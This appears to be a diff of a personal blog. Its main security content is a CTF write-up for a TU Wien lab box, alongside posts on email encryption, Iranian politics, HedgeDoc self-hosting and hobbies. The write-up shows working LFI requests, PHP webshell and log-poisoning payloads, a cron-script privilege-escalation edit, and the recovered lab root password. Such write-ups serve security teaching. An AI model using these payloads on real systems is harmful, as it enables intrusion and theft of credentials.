Endtoend encryption protects the **body** and **attachments**. Across the wider email network, **metadata like From/To and delivery timestamps** remain visible by design. Subjects may also be visible unless your tools use **protected headers** (Thunderbird can; Tuta encrypts subjects inside its ecosystem). If you truly need to hide *everything*, email might not be the right tool—reach for Signal or Matrix instead.
## Quick price & fit-at-a-glance
| Option | Best fit | Personal price vibe | Notes |
|---|---|---|---|
| Proton Mail | Everyday private email + easy messages to anyone | Free; personal paid tiers in **singledigit €/mo**; business peruser | Passwordprotected emails to nonProton; PGP support |
| Tuta | Privacymax email; encrypted subjects inecosystem | Free; personal low **€/mo**; business peruser | Passwordprotected emails to nonTuta; open source |
| Gmail CSE | Orgs on Google Workspace | Included with **Enterprise Plus/Education/Frontline** editions | Admin setup + externalrecipient flow |
| S/MIME (Outlook/Apple Mail) | Enterprises with IT/MDM | Software builtin; **cert costs vary** | Smooth inside one org; cert exchange needed across orgs |
| Thunderbird OpenPGP | Provideragnostic power users | Free | Can encrypt subjects via protected headers |
| Mailvelope / FlowCrypt | Must stay on webmail | Free / **paid enterprise** options | PGP in the browser; good stepping stone |
## The 60second starter packs
**Proton/Tuta for oneoffs:** create an account, write your message, set a password, send; share the password over Signal or SMS. Recipient opens the secure link and can reply—no account needed.
**Thunderbird for everything else:** install, make a key, send your first signed message; when your contact replies with their key, hit the lock and enjoy encrypted bliss.
---
## **Shower thoughts**
So, why did I mention any of this?
Aside from the fact that I do believe e2ee email should become defacto, and I don't know why it isn't already, I do think we are not taking any steps toward protecting ourselves, and rely on third parties to do so for us.
A while ago when the 12 day war happened in Iran, they eventually allowed domestic platforms to be used by Iranians living abroad to talk to their loved ones back home.
The thing is, people might not use them because they don't trust them.
The question I had was different.
Assuming that the service is reliable, why can't we use it and protect ourselves while doing so?
In hindsight this seems stupid.
But listen to me.
If you have a wrapper that uses your gpg key to encrypt your messages, then you send them via those seemingly "untrusted" medium, why wouldn't you be able to use it?
The only, and oh well, biggest problem is key exchange.
Now to be honest, there exist key repositories that one can use, but also you can publish your public key over github, or any open verifiable medium. It is not foolproof, but it's a way.
And as long as there is a minimum reliable channel between the two parties, they can verify the authenticity of the key.
Like via a quick short call.
They can also be faked, but let's not go that extreme.
Also if many do it, it's hard to screw over all of them, maybe a subset with spending much resources, but no way you can screw everyone.
Idk how stupid the thing I'm suggesting is, but I wonder if it can be done or not. I don't know if I'm willing to spend my free time on it or not, but I though I should share the idea to at least know if it's stupid and wrong or not.
---
{{< sigdl >}}

View file

@ -0,0 +1,455 @@
---
title: "A TU Wien CTF where Sysops Klaus left the keys in the cron job"
date: 2026-06-05T12:00:00Z
draft: false
tags: ["ctf", "tuwien", "lfi", "web", "linux", "nginx", "php", "privesc"]
categories: ["CTF", "Security"]
toc: true
summary: "LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of."
---
> **Spoiler alert:** this is a full writeup. If you still want to solve `g#.tuw.measurement.network` yourself, stop here and go poke the box. I'll wait. …No? Ok. Hello friends.
This post documents how I solved a CTF box that came out of [Tobias Fiebig](https://www.inet.tuwien.ac.at/)'s *Real World Security* presentation at TU Wien — the one with **Sysops Fahrer Klaus**, the guy who "just quickly fixes prod" and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.
Each student group gets their own host (`g00`, `g01`, …). The goal is simple on paper:
1. Collect every `passwd_part` file sitting in user home directories.
2. Stitch them together into the **root password** (the full answer lives in `/root/passwd`).
Simple. Boring. Except Klaus was clearly in charge of this VM.
---
## 0) The lay of the land
**Target:** `g00.tuw.measurement.network`
From the outside you mostly see three faces of the same machine:
| Host | What it is |
|------|------------|
| `g00.tuw.measurement.network` | Main vhost — `documentation.md`, directory listing, a teasing `passwd_part` that returns **403** |
| `web.g00.tuw.measurement.network` | PHP "meme gallery" with a very trusting `?page=` parameter |
| `pwreset.g00.tuw.measurement.network` | Internal password-reset app — **not reachable directly** from the internet |
Users on the box (from `/etc/passwd` via LFI): `user1``user4`, `monitoring`, `www-data`, `root`.
SSH from outside? Public key only. Password auth is a lie (for us, anyway).
---
## 1) Recon — documentation.md saves the day
First stop: the main site.
```bash
curl -s https://g00.tuw.measurement.network/documentation.md
```
That file is basically a treasure map. It mentions two services:
- **web**`web.g00.tuw.measurement.network`
- **pwreset**`pwreset.g00.tuw.measurement.network`
I also poked the obvious paths (`.git`, `phpinfo`, swap files, `robots.txt`, …). Nothing juicy on the main vhost except the directory index and the forbidden `passwd_part`.
Subdomains resolve. Good. Let's go web.
---
## 2) LFI — `include($_GET['page'])` classic
The web vhost is a frameset. Content loads in a frame via `?page=`:
```bash
curl -sk 'https://web.g00.tuw.measurement.network/?page=/etc/passwd'
```
And there it is — root, users, the whole `/etc/passwd` parade inside the frame.
Source via PHP filter works too:
```bash
curl -sk 'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php' \
| sed -n 's/.*frame name="in">//p' | base64 -d
```
`index.php` is roughly:
```php
<?php
$page = $_GET['page'] ?? 'home.php';
include($page);
?>
```
Klaus, my man. We love you.
**First instinct:** read all the `passwd_part` files immediately.
```bash
# spoiler: doesn't work
curl -sk 'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part'
# → permission denied
```
Same for `user2``user4`, `monitoring`, `root/passwd`. The LFI runs as `www-data`. Those files are not world-readable. Fair.
---
## 3) pwreset — localhost-only, but LFI doesn't care about nginx
Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:
```nginx
allow 127.0.0.1;
deny all;
```
So you can't hit `https://pwreset.g00...` from your laptop. But PHP on the **web** vhost can still **include** the pwreset `index.php` file — that's a local file include, not an HTTP request.
pwreset source (paraphrased):
```php
$user = $_GET['user'] ?? '';
$pass = $_GET['pass'] ?? '';
file_put_contents('/var/www/userchange', "$user:$pass\n");
echo "Password reset queued.";
```
It writes `user:pass` lines to `/var/www/userchange`. Something on the system processes that file later (spoiler: `chpasswd`, not shell).
**Trigger it through LFI:**
```text
https://web.g00.tuw.measurement.network/
?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
&user=user1
&pass=MyTestPass1!
```
I confirmed writes by reading `/var/www/userchange` back through the LFI. The file updates. Something also **clears** it on a schedule — so a cron job is definitely eating it.
---
## 4) RCE — PHP in `userchange`, included like a boss
At some point I wondered: what if the thing that processes `userchange` doesn't only run `chpasswd`? What if it **includes** the file as PHP?
So I wrote a tiny shell into the `user` field via pwreset:
```php
<?=`id`?>
```
Then included `/var/www/userchange` through the LFI:
```text
?page=/var/www/userchange
```
**Output:** `uid=33(www-data) gid=33(www-data) ...`
Short tags (`<?= ... ?>`) for the win. A longer `<?php system(...); ?>` payload also works, but the backtick version is minimal and cute.
From here on, my mental model was:
1. **pwreset** → write arbitrary-ish content to `/var/www/userchange`
2. **LFI include `userchange`** → execute PHP as `www-data`
That's RCE. Not root yet, but we'll get there. Klaus always leaves one more door open.
---
## 5) Rabbit holes (aka "everything I tried before it worked")
This box is a *presentation* CTF. It wants you to wander. I wandered. Hard.
### nginx log poisoning
The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. **Plot twist:** Tobias later confirmed it *is* the intended RCE path. I just griefed myself out of it. See [§11 Bonus](#11-bonus-the-intended-log-poisoning-path) for the real technique and what I screwed up.
Short version of my failure: I poisoned via **HTTPS** (wrong log), sprayed **broken PHP** into the HTTP log, and never read the hint in `index.php` source until it was too late.
### `data://`, `php://input`, `expect://`
```bash
?page=data://text/plain,<?php system($_GET[cmd]); ?>
?page=php://input # with POST body
?page=expect://id
```
Nope. `allow_url_include = Off`. Klaus isn't *that* careless.
### vim `.swp` files
`.memes.php.swp` is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried `img_src` shell escapes on `memes.php` / `convert_img.php`.
Empty memes page. No execution. Nice red herring — very on-theme for the talk.
### Munin / `apt_all` plugin
The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:
- `/etc/munin/plugins/apt_all` — referenced in cron, but the plugin file **doesn't exist**
- Brute-forced tons of plugin names and backup suffixes (`.bak`, `.swp`, `~`, …)
- Waited for cron cycles hoping a custom plugin would curl localhost pwreset
**Verdict:** the `apt_all` munin path is a distraction (or a removed artifact). The real privesc was elsewhere.
### pwreset log archaeology
Reading `/var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log` via LFI is gold for lore:
- Saw historical resets like `user3``foobar23`
- Tried `foobar23` over SSH for every user
**From outside:** still `Permission denied (publickey)`. Password auth isn't offered externally. TU Wien network / internal access might differ — I didn't have that.
### Shell script injection into `userchange`
I tried newline injection to turn `userchange` into a bash script:
```text
user=
#!/bin/sh
cp /home/user1/passwd_part /var/www/.../p1
...
```
Cron cleared the file. No copies appeared. The processor uses **`chpasswd`**, not `/bin/sh`. Good lesson. Wrong path.
### Brute-forcing the `userchange` consumer
I spawned searches across `/etc/cron.d`, puppet manifests, `/usr/local/sbin`, systemd units, … — looking for whatever reads `userchange`.
Eventually **didn't need it**. Once RCE landed, grepping and `find` from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren't on the winning path.)
### Direct SSH password guessing
Tried setting root's password via pwreset (`root:RootPass123!`), waited for cron, attempted SSH.
From the internet: **publickey only**. The reset machinery may still work internally, but I couldn't log in with passwords from outside.
---
## 6) Privesc — world-writable cron script (peak Klaus)
With RCE as `www-data`, I looked for writable files:
```bash
find / -writable -type f 2>/dev/null | head
```
Jackpot:
```text
-rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh
```
Original script (innocent):
```bash
#!/bin/bash
grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config
```
It's run by **cron as root** (Puppet-managed). `www-data` can edit it because `user1` owns it and the group is `www-data` with world-writable perms. Chef's kiss.
I appended:
```bash
cp /home/user1/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
cp /home/user2/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
cp /home/user3/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
cp /home/user4/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
cp /root/passwd /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*
```
Then either waited for cron or executed the script manually via RCE:
```php
<?=`/usr/local/bin/cron_update_hostname_file.sh`?>
```
**Files appeared in the webroot.** Root-readable secrets exfiltrated by root itself. Klaus would be proud.
---
## 7) SSH as `www-data` — because keys in the webroot are a mood
The main vhost webroot also had `.ssh/id_rsa` for `www-data`. Of course it did.
```bash
# via RCE: cat the key, save locally, chmod 600
ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \
www-data@g00.tuw.measurement.network
```
Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.
---
## 8) The password parts
| Source | File | Part |
|--------|------|------|
| user1 | `p1` | `DcC6Da0A27384fA` |
| user2 | `p2` | `9Ce05B3cAd57824` |
| user3 | `p3` | `3aD80fa1b7AE986` |
| user4 | `p4` | `CDefabffab1FCCf` |
| www-data | `passwd_part` | `44D885d6DAb8Bb9` |
| root | `rootpass` | `ghadnuthduxeec7` |
**Missing:** `monitoring/passwd_part` — copying to `pm` failed (no file / permission denied even as root's cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.
**Combined root password (95 characters):**
```text
DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7
```
Order: `user1 + user2 + user3 + user4 + www-data + root_suffix`.
I double-checked byte lengths with `wc -c` and `od` over SSH. No sneaky newlines.
Root SSH with that password from **outside** still didn't bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.
---
## 9) Attack chain (one screen)
```text
documentation.md
→ web vhost LFI (include $_GET['page'])
→ include pwreset index.php (localhost bypass)
→ write PHP to /var/www/userchange
→ LFI include userchange
→ RCE as www-data
→ append to world-writable cron_update_hostname_file.sh
→ cron runs as root → copies passwd parts to webroot
→ read parts / SSH as www-data
→ profit
```
Very "real world" in the worst way. Multiple small mistakes compounding into a full chain.
---
## 10) Replay script
I left a minimal Python replay in the challenge repo:
```bash
python3 solve.py
```
Core logic:
```python
def pwreset(user, passwd=""):
# LFI-include pwreset index.php with user/pass params
def rce(cmd):
pwreset(f"<?=`{cmd}`?>", "")
return lfi_include("/var/www/userchange")
```
It prints `id`, the modified cron script, each part file, and the combined password.
---
## 11) Bonus: the intended log poisoning path
After I solved the box the scenic route (pwreset → `userchange`), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: **griefing the logs is part of the game** — and students mostly grief *themselves*. Fair. 😂
So here's the path you're *supposed* to take for RCE, and how I accidentally took the scenic bypass.
### The hint is in `index.php`, not `documentation.md`
`documentation.md` only lists the services (`web`, `pwreset`). It says nothing about logs. The actual breadcrumb is an HTML comment in `index.php` (readable via PHP filter LFI):
```html
<!-- remember for debugging:
/var/log/nginx/$vhost.access.log
/var/log/nginx/$vhost.error.log
/var/log/nginx/ssl-$vhost.access.log
/var/log/nginx/ssl-$vhost.error.log
-->
```
Four logs. Two pairs: **HTTP** and **HTTPS (ssl-)**. The comment doesn't say "don't use SSL" — but the intended trick is to use the **non-ssl** access log.
### Intended technique
1. **Poison over HTTP** (port 80), not HTTPS — so nginx writes to the smaller vhost log:
```text
/var/log/nginx/web.g00.tuw.measurement.network.access.log
```
2. Put PHP in the `User-Agent` (or another logged field):
```text
<?php passthru($_GET['cmd']); ?>
```
Short tags like `` <?=`id`?> `` work too. Use **quoted** `'cmd'` — bare `$_GET[cmd]` is a PHP 8 footgun.
3. **Include that log** through the same LFI bug:
```text
https://web.g00.tuw.measurement.network/
?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
&cmd=id
```
On a **fresh** box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get `www-data`. That's RCE. No pwreset required.
### How I griefed myself
| What I did | Why it hurt |
|------------|-------------|
| Defaulted to `https://` everywhere | Poison landed in `ssl-web...access.log`**670 KB+** and growing |
| Included the ssl log via LFI | Output truncates around ~2 KB; poison sits at the tail |
| Fired dozens of test payloads | Left broken `<?php` in the HTTP log (`$_GET[cmd]` without quotes, `\x22`, etc.) — PHP dies on the **first** bad tag before reaching a clean line |
| Didn't read `index.php` source early | Missed the debug comment until I'd already polluted both logs |
Tobias's take: that's a feature. The box teaches you that **ops mistakes compound** — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.
### If you're solving it now
- Read `index.php` source first.
- Poison on **HTTP**: `http://web.g00.tuw.measurement.network/` with a clean User-Agent payload.
- Include the **non-ssl** access log path from the comment.
- Don't spray malformed PHP into the log unless you enjoy debugging your own garbage.
I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.
---
## 12) TL;DR
- **Read** `documentation.md` — it tells you where the services live.
- **Read** `index.php` source — the debug comment gives you the log paths.
- **Intended RCE** = HTTP log poisoning → LFI include the non-ssl access log.
- **What I did** = pwreset → `userchange` → cron (also works, not the intended first step).
- **Privesc** = `/usr/local/bin/cron_update_hostname_file.sh` is world-writable and runs as root.
- **Griefing** = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.
- **Flag** = concatenate all `passwd_part` slices + `/root/passwd` suffix.
If you're doing this as part of the TU Wien lab: don't touch other groups' hosts, don't break the infra, and maybe send Klaus a thank-you note for the cron job.
Happy hacking. 🔓
---
*Thanks to Tobias Fiebig for the delightfully cursed "real world" box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.*
---
{{< sigdl >}}

View file

@ -0,0 +1,27 @@
+++
title = 'H3ll0 Fr1end'
date = 2026-05-02T16:17:02Z
draft = false
+++
Hello friends. I'm back. It's been... let's say, a shit show. My beloved country was attacked by two extremely strong foreign armies in the midst of a revolution. A revolution I deemed i woulld succeed, but now I'm so so confused. The royalists, the radical fascist rights, gathered behind the former King of Iran. A fucking ruthless dictator. Someone who created the scariest of spider webs in Iran, the effect of which layed it's shadow over the country for decades. It's funny how his father (I'm talking about the grandfather of this guy) was a traitor, and a ruthless dictator of his own. The difference was that he actually loved the country and although ruled with an iron fist, he actually tried to make the country great. Now let me be honest, the guy was an idiot for many many reasons, siding with the allies by providing them infrastructure at the cost of his own people's lives, and then selling people's food to make money off of England was just utterly messed up. But this guy (the son of the former King) is probably the most incompetence creature on this world. So badly incompetence that no mentally sane foreign leader even sees the guy. With all of the money given to him throughout the years, it's not clean what the fuck his been up to. His eyes blinded be revenge, and his head dreaming of ruling a country that he clearly does not "own" makes him the best candidate for exploitation. And he has shown this very well.
The occasion is super grim. Radical right wants to oust radical right. LMFAOOOOO. I honestly think Iranian people are just far far divided, and both sides are utterly culturally underdeveloped. Anger has blinded their eyes, and they made a deal with the devil. The end will not be any good either. I have no hopes for the country anymore.
It's so so sad that I'm siding the with this disgusting theocratic regime, just because they have not folded in front of the ones who do not care the least about Iran. Those who want to create a fail state, and expand their borders. It's so sad that every time the country tried to move toward democracy, the people got fucked by a foreign power. The current revolution, the uprisings of 2023-4, JCPOA, ..., Persian Constitutional Revolution, etc.. So fucking sad.
The saddest part is with how much Iran has gotten fucked over the decades, and how far right this regisme has become, I don't think the people will ever have the possibility of making change from within for many many more years to come. And foreign intervention just fuels the current regime's influence over it's people.
Another reason why we got so screwed is Oil. The curse of resources is sadly a thing that can cause what you see. A defiant regime, who rules bruttally against it's own people. Years of stagflation, and no bright light in sight.
Anyway, I just wanted to write something as I was very much inactive for the past few months. I submitted a paper this week, and have big big plans for my own projects. :)
Unfortunately not advancement on the dating lifepart. Dating sucks for avg boys like me! Cross your fingers please! :D:D
I honestly also don't feel like proofreading the text, so... there would be many mistakes. :) And honestly, idc.
---
{{< sigdl >}}

View file

@ -0,0 +1,17 @@
-----BEGIN PGP SIGNATURE-----
iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfA8YHGltYW4uYWxp
cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0q88YP/RQ/Kl+5D4LtmlO9z/2y/d3k
m7DJcaLlx1D8VXZboEq5auS9/AKnwDwjrQsCAug6aO3+MENRGT+YaxqACcD8/J07
+TB7+gnTkB+iFUIFOsdx2oKuZhwhpXv/MEqNsD2VVrMgM+8SChBhdlV0axJdWb9g
tOphFNL1JdZAU1G7PqwVJDZWAsj8tr7DL7+EVTb0E2qXdZmbR9VmhkCojaPw156I
BGc7zkPhGwJpBW0PlKFM68SeH1+nMleE1WxfWgPpGpk5JeLvOVMiIbp1M8qJojk7
SO45+IpfVJ4YC3mHhgd5dkG603dZDtC44AS+zvU/GiUMjBa2li9TuOiF0QiQHdv1
nnAmFbov8EKW1PKRhD91iBZpwY4ckAngXkfJEaQh+QiDEceR2c4sYFmlP11SBYXI
9g4AUnH8E8Js1UnJ3Jc+dGONbVV/cJ/D+am4ujo3DAgJWiwNl5zZumHtM8GfOOf3
HasC9uNzebsnIEoaxP1xwTKP/OwZktPgUlBoKjQ3lvvymYWmF6f+dSC4zTed8PLT
jexTeK01OVPLIcbV4h2UGwyoUTGSZ1hSkXA3gyehV/yqInBJhTkhD8bAwDj4NYbD
8PwaiSSQITgmZPCssrCSpEB8KJpBEFjEE0OksQN/sB2aZkegASMNUlYsmr1OOEIZ
ah+SMhSAQZcRUpsRdN9o
=pfUc
-----END PGP SIGNATURE-----

191
content/posts/hedge_doc.md Normal file
View file

@ -0,0 +1,191 @@
---
title: "Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt"
date: 2025-08-29
draft: false
tags: ["hedgedoc", "docker", "nginx", "letsencrypt", "self-hosting"]
categories: ["guides"]
cover:
image: "/images/hedgedoc-cover.png"
alt: "HedgeDoc collaborative editing"
caption: "Collaborative Markdown editing with HedgeDoc"
relative: true
hidden: false
---
HedgeDoc is an open-source collaborative Markdown editor. Think *Google Docs for Markdown*: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post well walk through setting up your own instance on a server, secured with HTTPS.
---
## Prerequisites
- A Linux server with **Docker** and **Docker Compose**
- A domain name pointing to your server (e.g. `notes.alipourimjourneys.ir`)
- **Nginx** installed for reverse proxying
- **Certbot** for Lets Encrypt certificates
---
## 1. Create the project directory
{{< highlight bash >}}
mkdir ~/hedgedoc && cd ~/hedgedoc
{{< /highlight >}}
---
## 2. Create `.env`
{{< highlight env >}}
POSTGRES_PASSWORD=ChangeThisStrongPassword
HD_DOMAIN=notes.alipourimjourneys.ir
{{< /highlight >}}
Generate a strong password with:
{{< highlight bash >}}
openssl rand -base64 32
{{< /highlight >}}
---
## 3. Create `docker-compose.yml`
{{< highlight yaml >}}
version: "3.9"
services:
db:
image: postgres:16
environment:
POSTGRES_USER: hedgedoc
POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
POSTGRES_DB: hedgedoc
volumes:
- db:/var/lib/postgresql/data
restart: unless-stopped
hedgedoc:
image: quay.io/hedgedoc/hedgedoc:1.10.2
depends_on:
- db
environment:
CMD_DB_URL: postgres://hedgedoc:${POSTGRES_PASSWORD}@db:5432/hedgedoc
CMD_DOMAIN: ${HD_DOMAIN}
CMD_PROTOCOL_USESSL: "true"
CMD_URL_ADDPORT: "false"
CMD_PORT: "3000"
CMD_EMAIL: "true"
CMD_ALLOW_EMAIL_REGISTER: "false"
volumes:
- uploads:/hedgedoc/public/uploads
ports:
- "127.0.0.1:3000:3000"
restart: unless-stopped
volumes:
db:
uploads:
{{< /highlight >}}
Bring it up:
{{< highlight bash >}}
docker compose up -d
{{< /highlight >}}
---
## 4. Get a Lets Encrypt certificate
Request a cert with a **DNS challenge**:
{{< highlight bash >}}
sudo certbot certonly --manual --preferred-challenges dns -d notes.alipourimjourneys.ir -m you@example.com --agree-tos --no-eff-email
{{< /highlight >}}
Add the TXT record certbot asks for, wait for DNS to propagate, then continue.
Certificates will be in:
{{< highlight bash >}}
/etc/letsencrypt/live/notes.alipourimjourneys.ir/
{{< /highlight >}}
---
## 5. Configure Nginx
Create `/etc/nginx/sites-available/notes.alipourimjourneys.ir`:
{{< highlight nginx >}}
server {
server_name notes.alipourimjourneys.ir;
listen 80;
listen [::]:80;
return 301 https://$host$request_uri;
}
server {
server_name notes.alipourimjourneys.ir;
listen 443 ssl http2;
listen [::]:443 ssl http2;
ssl_certificate /etc/letsencrypt/live/notes.alipourimjourneys.ir/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/notes.alipourimjourneys.ir/privkey.pem;
location / {
proxy_pass http://127.0.0.1:3000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto https;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
}
}
{{< /highlight >}}
Enable the config and reload Nginx:
{{< highlight bash >}}
sudo ln -s /etc/nginx/sites-available/notes.alipourimjourneys.ir /etc/nginx/sites-enabled/
sudo nginx -t && sudo systemctl reload nginx
{{< /highlight >}}
---
## 6. Create users
Because we disabled self-registration, create accounts manually:
{{< highlight bash >}}
docker compose exec hedgedoc ./bin/manage_users --add alice@example.com
{{< /highlight >}}
Youll be prompted for a password.
To reset a password later:
{{< highlight bash >}}
docker compose exec hedgedoc ./bin/manage_users --reset alice@example.com
{{< /highlight >}}
---
## 7. Done!
Visit [https://notes.alipourimjourneys.ir](https://notes.alipourimjourneys.ir) and log in with the user you created. You now have your own collaborative Markdown editor 🎉
---
**Extras:**
- Backups: dump the PostgreSQL database and save the `uploads` volume.
- Upgrades: `docker pull quay.io/hedgedoc/hedgedoc:latest && docker compose up -d`.
- Integrations: HedgeDoc supports S3/MinIO image storage, GitHub/GitLab/Google login, and more.
---
{{< sigdl >}}

View file

@ -0,0 +1,17 @@
-----BEGIN PGP SIGNATURE-----
iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfBAYHGltYW4uYWxp
cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qYdAQAKVr4HvFKkfBv2btqsbenlsY
ii3FCE+/31O6jQ6Sw0xIw7KUXaXtT5BXdQHC0b9d9DwHjC+nWloCpREcebxyapUf
cOF8i8H06o2ihXwpHg0ky418tFhpOx+NRmqCbof8EYoOntLv++xbYHuG0YjGLw9Z
3g7zY9jbJUuyCfJLuCx/BvzYtn1T0n2Bu8zwNKgMzdtNUz+uWCNK7zycYPYvnXlr
bZ3NWmZ0XT+WuK7znpkfKNQASpaIrOtwT/bXQzmH1WkdXSrnaS7bIjjg+8MB7+at
l49E260lq7StwThWcdoG7epUaHpwjE/C+hItZv8buaPBx/xTumsqKVhs87bl4fd/
LXttOUhRDw11GZxMuokzugijJxttOXIKbShmZ/fyUOwuZxJ2YsMqY9ttUrGOzk/t
L6447hSA9AhsyEnReotIMxeq779pv+fiivs9Tg99QkvUiMv39IkoK8Cf38pbCR1O
D806nTXXx6L4fmbADbZuqg4RjCaJwp2p7BGKaYwkA9rIRdmHVdJBEmD7U+W9IZp/
18daQq3i45WoHWnTwDDhJ/1IPFUum9WCTkqtABPyrY4huxfdPUVavuGl1vgWAZ8+
srQuHaEet4vBjcCXOOainIbxvIlY25JcTLXk3Vt1Abhf25TIU2aKimGRGgmv2EJv
IGqrQXD2ctkQP+IhyzVV
=gz9U
-----END PGP SIGNATURE-----

View file

@ -0,0 +1,11 @@
+++
title = 'Hello World'
date = 2025-08-25T08:53:38Z
draft = false
+++
This is a test hello world post just to make sure everything works!
---
{{< sigdl >}}

17
content/posts/hobbies.asc Normal file
View file

@ -0,0 +1,17 @@
-----BEGIN PGP SIGNATURE-----
iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfAkYHGltYW4uYWxp
cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0quhUP/3KfdZmORKp0g8lgR8+YmirC
ITgqb05MVKd8fuja8vGF+E+XtfeM8xyOV1YDCqeEE9VIWNsjX3+ISkwMCWboyL5m
ks9/3SqSOlv7y2xMcAyVPFYkQYi0CZJ2afp3tmEXKVDOvFTqB7zPkchEbIHLZfih
I/WmCMzbDt8OEGKd0pUe9S/Ux65a9JHQ8GerA+8wQ2TSxQjtelPnD5XrWqeKhRbL
2bDpQZBDcv9dvRBTBEIpHeDg/ylyUPT8WDnIChzAt8tIZFnanMspSw+kdQddpAIF
mqzAmhlQkeRkshbGbHW2h7AeNFZC3CBOPSlp3xi1jRbS4Ao97FuKcGv3TsXM61XX
+n1GoI48dYVhDX92i1ZkG7ZJl5OKbSd/l8pxmtiqVy+nY73Jlo9SH142mVtO5Yqz
Fqvrju4WhZZjTvx8LJ7HSxx/ZFL4ciRyTCttzpqz6Gg4V3ouvrhTk1wQcQu8RiSq
l8ZKyGQ6AexBN/OYwjLFMvbdw2+oSCcMQBFPD9RmDsq+cNTeTJ9qYdvkqF6InNWr
IfOu8FUhWPwSkx/OS4zrChZX8cWq6Sxo5W7YAVOQz5/jazWrRoFJ/XNsMe5GMJr2
WlaUl9yNtLN9IjYVHVV9xVSc222ENBlL5G/YbDCYzKn2i79OxAgpJlWoLBw+fZ/X
yyRVskOPUanwD9SLgEzF
=OVFH
-----END PGP SIGNATURE-----

172
content/posts/hobbies.md Normal file
View file

@ -0,0 +1,172 @@
+++
title = 'Hobbies'
date = 2025-10-10T07:04:54Z
draft = false
description = "My point of view on hobbies"
+++
When I started my PhD, I was told "get yourself a hobby!" many many times by both my advisor, and the director of the group I worked in.
In fact, when being interviewed for the position, I was asked about my hobbies.
For some reason I think I have like the weirdest hobbies of all time.
Like, you know, people binge series, go to clubs, bars, hang out, and so on.
But I always had interests in things that when I talk about people get weirded out, or at least some of them do so.
To be honest though, when I talk more about some of my hobbies, they do show enthusiasm, but it feels like there is a clear gap between us afterwards.
Let's go back in time.
What hobbies have I had over the course of my life?
Actually as a kid I used to play games on Mobile for some reason.
I was also quite competative, reaching the highest possible ranks in pretty much every game I played by solo-queueing.
I also enjoyed playing with my brother, but for some reason he always liked games that were not necesserially my most favorite.
Like I liked Vain Glory, and my brother liked Fifa.
We did play both in the end.
After my brother went to the capital to attend univesity, we bacame more distant.
I had to also focus on my own studies, and was actually struggling in junior-high.
Now that is a story in itself for another time.
I used to play games back then as hobby.
But my real interest was chess.
I was really good at calculating.
I was extremely sharp for my age, but since I was obbese my parents wanted me to take "active" sport classes.
So... getting into a chess class was conditional.
I have't really done any chess studying after those early years, and I just know a few openings with little depth.
I do have a relatively good understanding of piece synergy and also ok-ish calculation skills to beat a good portion of people I see on a daily basis, but any professional player would easily beat me out of the opening.
In high-school I didn't really have any hobbies.
I did become interested in Basketball, but nothing serious.
It's funny how I was able to become good at any sport I tried.
I tried Football, Basketball, Volleyball, Table Tennis, Tennis, Chess, Footsal, Swimming, and Badminton.
I think swimming was, and still is my best sport.
I never pursued it though, which is a shame.
Before starting my Bachelors, I became really interested in Cicada3301, and cryptography.
Well, not the fancy state-of-the-art cryptography, the simple classic methods.
The notion of delivering a message in plain sight that only the two parties envolved can understand it was so cool to me!
That reminds me, we had these special things in junior-high called "Karsoogh" for math, physics, chemistry, and biology.
I think I quilified for pretty much every one of them, and had a blast every time!
In the chemistry one we cooked honey(!), in the biology one they dissected a bunny wabbit (with w to pay respect!), in the physics one we did cool experiments and tried to solve fancy problems.
But the math one was different, it happend between a few close-by NODET cities, and annualy.
The idea was simple.
They gave us questions that did were solveable by developing ideas, with almost always little to no pre-requisite.
